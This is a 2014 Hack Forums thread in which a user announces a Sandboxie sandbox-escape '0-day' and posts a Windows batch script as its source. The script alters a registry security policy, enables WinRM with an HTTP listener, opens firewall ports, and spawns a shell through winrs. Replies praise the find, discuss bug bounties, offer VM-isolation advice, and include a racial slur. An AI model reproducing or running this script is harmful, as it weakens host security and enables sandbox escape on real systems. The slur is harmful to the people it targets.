+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Keyloggers (https://hackforums.net/forumdisplay.php?fid=113)
+---- Thread: [0-Day][Alert] Sandboxie escape. [UPDATED W/ SOURCE] (/showthread.php?tid=4333925)
[0-Day][Alert] Sandboxie escape. [UPDATED W/ SOURCE] - IcYSeptember - Jul 11, 2014
So, my internet was out for the past 3 days, and I started playing around seeing what I could do with Sandboxie, since all my friends are at school and whatnot.
Anyway...Found this.
(Watch it in fullscreen so you can actually read)
It's not public, nor do I intend it to be released, leaked, sold (except to the developer of Sandboxie), or anything else.
Just thought I'd let you know that Sandboxie isn't as secure as you think it is.
UPDATE:
![[Image: 86e3dbbf6f2ddfec385545d7febaf03c.png]](https://i.gyazo.com/86e3dbbf6f2ddfec385545d7febaf03c.png)
![[Image: a95292de0a2ba2a8c4050b665721b78c.png]](https://i.gyazo.com/a95292de0a2ba2a8c4050b665721b78c.png)
And when trying the vulnerability when testing the new, beta version:
![[Image: 75197b29515915eadb677324cede8a2d.png]](https://i.gyazo.com/75197b29515915eadb677324cede8a2d.png)
And lastly, the escape source code:
Code
@echo off
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
cmd /c "winrm quickconfig -quiet -force" >nul
cmd /c "winrm create winrm/config/listener?Address=*+Transport=HTTP" >nul
netsh firewall add portopening TCP 80 "Windows Remote Management" >nul
netsh firewall add portopening TCP 137 "a1" >nul
ping 127.0.0.1 -n 3 -w 5000 >nul
winrs -r:127.0.0.1 "start cmd"
pause* - Jibbly - Jul 11, 2014
Damn yo good ass find bro hope you get some BANK NIGGA
* - Aura - Jul 11, 2014
Nice find once again Icy.
I suggest everyone to not use Sandboxie on their host system right now until this gets patched. Run Sandboxie in a VM like I do and even there, secure your VM. We have no idea if that 0day is currently being used by spreaders or not.
* - Eeluminati - Jul 11, 2014
(Jul 11, 2014 11:42 AM)Aurа Wrote: Nice find once again Icy.
I suggest everyone to not use Sandboxie on their host system right now until this gets patched. Run Sandboxie in a VM like I do and even there, secure your VM. We have no idea if that 0day is currently being used by spreaders or not.
Indeed. I remember you recommending me to use my VM with sandboxie rather than it alone, any recommendations now to prevent malicious software on VM?
* - Aura - Jul 11, 2014
(Jul 11, 2014 11:50 AM)Eeluminati Wrote: Indeed. I remember you recommending me to use my VM with sandboxie rather than it alone, any recommendations now to prevent malicious software on VM?
Isolate your VM. Disable the shared clipboard, disable the network discovery and file sharing on both your host system and your VM and put your VM in a separate VLAN if you can.
* - Eeluminati - Jul 11, 2014
(Jul 11, 2014 11:58 AM)Aurа Wrote: Isolate your VM. Disable the shared clipboard, disable the network discovery and file sharing on both your host system and your VM and put your VM in a separate VLAN if you can.
Alright thanks for the help, you should make a thread to alert this to people. 🤝
* - NoMemes - Jul 11, 2014
Video is glitched for me. Upload it again possibly?
Thanks Op. :L
* - Dex - Jul 11, 2014
My nigga Icy is going to make bank with this shit.
Nice find, bruh.
* - Aceman - Jul 11, 2014
Impressive find there Icy! Do they offer bounties for finds such as these or are you just going to be kind and share it with it?
* - Aura - Jul 11, 2014
(Jul 11, 2014 12:44 PM)Aceman Wrote: Impressive find there Icy! Do they offer bounties for finds such as these or are you just going to be kind and share it with it?
He's going for the bounty obviously and this is what I would do too 🙂
* - Eeluminati - Jul 11, 2014
I wonder how much he'll get.
Sandboxie: Great find! We've gone ahead and hooked you up with premium Sandboxie!
* - Ƥerfectionist - Jul 11, 2014
I wonder how much OP will get for this find, and it's good that you're not giving this out and whatnot
* - IcYSeptember - Jul 11, 2014
I'm still waiting on that email from Sandboxie. :/
Hopefully they do offer bounties.
* - hyhyyhhrf3 - Jul 11, 2014
I went ahead and reported this to Sandboxie using your alias etc. I'll let you guys know how much they pay me soon.
* - Dex - Jul 11, 2014
(Jul 11, 2014 01:02 PM)IcYSeptember Wrote: I'm still waiting on that email from Sandboxie. :/
Hopefully they do offer bounties.
They should considering how important a bug like this is.